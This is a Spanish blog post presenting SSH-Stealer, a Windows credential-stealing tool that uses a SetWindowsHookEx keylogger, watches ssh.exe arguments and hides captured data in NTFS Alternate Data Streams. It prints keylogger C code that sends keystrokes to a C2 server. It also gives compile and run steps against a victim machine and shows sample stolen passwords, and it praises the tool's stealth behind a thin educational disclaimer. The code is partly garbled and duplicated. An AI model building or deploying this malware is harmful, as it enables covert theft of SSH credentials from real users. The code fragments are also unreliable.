SSH-Stealer: Keylogging en Windows con ADS y Hooking
Hoy vamos a hablar de una técnica avanzada para capturar credenciales SSH en Windows de forma bastante sigilosa y sin dejar rastros evidentes. Para ello, vamos a analizar SSH-Stealer, una herramienta de DarkSpaceSecurity que combina keylogging, detección de procesos y almacenamiento en ADS (Alternate Data Streams).IMPORTANTE: Esto es con fines educativos. Tampoco me hago responsable si terminas en un exótico foro de hacking vendiendo credenciales.SSH-Stealer está diseñado para interceptar credenciales SSH en sistemas Windows. Su funcionamiento se basa en tres técnicas clave: Hooking del teclado → Captura pulsaciones de teclas en tiempo real. Detección de procesos → Identifica cuándo se ejecuta ssh.exe y extrae argumentos. Uso de Alternate Data Streams (ADS) → Almacena las credenciales de manera oculta en el sistema de archivos NTFS. Veamos en detalle cómo funciona cada uno de estos elementos.Hooking del teclado: Robando contraseñas en tiempo real SSH-Stealer utiliza SetWindowsHookEx() para interceptar las pulsaciones del usuario. Cada tecla presionada es analizada y almacenada en un buffer. Aquí está la función clave del keylogger: LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= HC_ACTION && shouldLog) { PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam; int vkCode = kbdStruct->vkCode; BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; if (wParam == WM_KEYDOWN) { char buffer[20] = { 0 }; if (vkCode >= 0x41 && vkCode = HC_ACTION && shouldLog) { PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam; int vkCode = kbdStruct->vkCode; BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; if (wParam == WM_KEYDOWN) { char buffer[20] = { 0 }; if (vkCode >= 0x41 && vkCode 20) { SendDataToC2(globalBuffer); memset(globalBuffer, 0, sizeof(globalBuffer)); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }Cómo compilarlo y ejecutarloCompila SSH-Stealer con Visual Studio o MinGW: x86_64-w64-mingw32-gcc ssh_stealer.c -o ssh_stealer.exe -lwininetEjecuta el servidor C2 en tu VPS:python3 c2_server.pyEjecuta SSH-Stealer en la máquina víctima. Resultados: Credenciales en tiempo realCada vez que la víctima escriba su contraseña SSH, los datos serán enviados a nuestro servidor en tiempo real:cat credenciales_robadas.txtEjemplo de salida:root@192.168.1.20 mypassword123 admin@sshserver.com hunter2¡Boom! Credenciales exfiltradas sin dejar rastros locales.

Hoy vamos a hablar de una técnica avanzada para capturar credenciales SSH en Windows de forma bastante sigilosa y sin dejar rastros evidentes.
Para ello, vamos a analizar SSH-Stealer, una herramienta de DarkSpaceSecurity que combina keylogging, detección de procesos y almacenamiento en ADS (Alternate Data Streams).
IMPORTANTE: Esto es con fines educativos. Tampoco me hago responsable si terminas en un exótico foro de hacking vendiendo credenciales.
SSH-Stealer está diseñado para interceptar credenciales SSH en sistemas Windows. Su funcionamiento se basa en tres técnicas clave:
- Hooking del teclado → Captura pulsaciones de teclas en tiempo real.
- Detección de procesos → Identifica cuándo se ejecuta
ssh.exe
y extrae argumentos. - Uso de Alternate Data Streams (ADS) → Almacena las credenciales de manera oculta en el sistema de archivos NTFS.
Veamos en detalle cómo funciona cada uno de estos elementos.
Hooking del teclado: Robando contraseñas en tiempo real
SSH-Stealer utiliza SetWindowsHookEx()
para interceptar las pulsaciones del usuario. Cada tecla presionada es analizada y almacenada en un buffer.
Aquí está la función clave del keylogger:
¿Cómo funciona?- Intercepta teclas antes de que lleguen a las aplicaciones.
- Filtra caracteres importantes, incluyendo letras y Enter.
- Almacena los datos en un buffer global sin levantar sospechas.
Este método es rápido, eficiente y casi indetectable para un usuario promedio.
Monitorización de procesos SSH
Además del keylogger, SSH-Stealer detecta cuando el usuario ejecuta SSH desde la terminal. La herramienta monitoriza los procesos en ejecución y busca ssh.exe
. Si se encuentra, extrae los argumentos pasados.
Aquí está la función encargada de analizar los parámetros de SSH:
¿Qué hace esta función?
- Abre el proceso de SSH y extrae su línea de comandos.
- Busca argumentos sensibles como
-i
(que indica autenticación con clave privada). - Registra los datos en un flujo de ADS, escondiendo la evidencia.
Este método es brutalmente efectivo para capturar credenciales sin necesidad de modificar el binario de SSH.
Escondiendo credenciales en Alternate Data Streams (ADS)
Los ADS en NTFS permiten ocultar información dentro de archivos sin modificar su tamaño visible. SSH-Stealer aprovecha esto para guardar credenciales sin ser detectado.
El siguiente código escribe datos capturados en un ADS dentro de desktop.ini
:
¿Por qué usar ADS?- Los archivos ocultos en ADS no aparecen en el Explorador de Windows.
- El tamaño del archivo principal no cambia, evitando sospechas.
- Solo herramientas avanzadas pueden detectarlo, como
dir /r
.
Para recuperar los datos ocultos, simplemente ejecutamos:
¡Boom! Credenciales expuesta sin dejar rastro visible.
¿Cómo ejecutarlo?
SSH-Stealer corre de forma persistente en segundo plano, esperando a que el usuario utilice SSH.
El flujo de ejecución es simple:
Nota: Se recomienda compilarlo con Visual Studio y ejecutarlo con privilegios administrativos para máxima efectividad.
Demo
En conclusión SSH-Stealer es una herramienta sencilla poderosa que demuestra lo fácil que es robar credenciales SSH en Windows sin ser detectado. La combinación de keylogging, monitorización de procesos y ADS lo hace extremadamente sigiloso.
Puedes descargar SSH-Stealer desde GitHub y analizar su código aquí: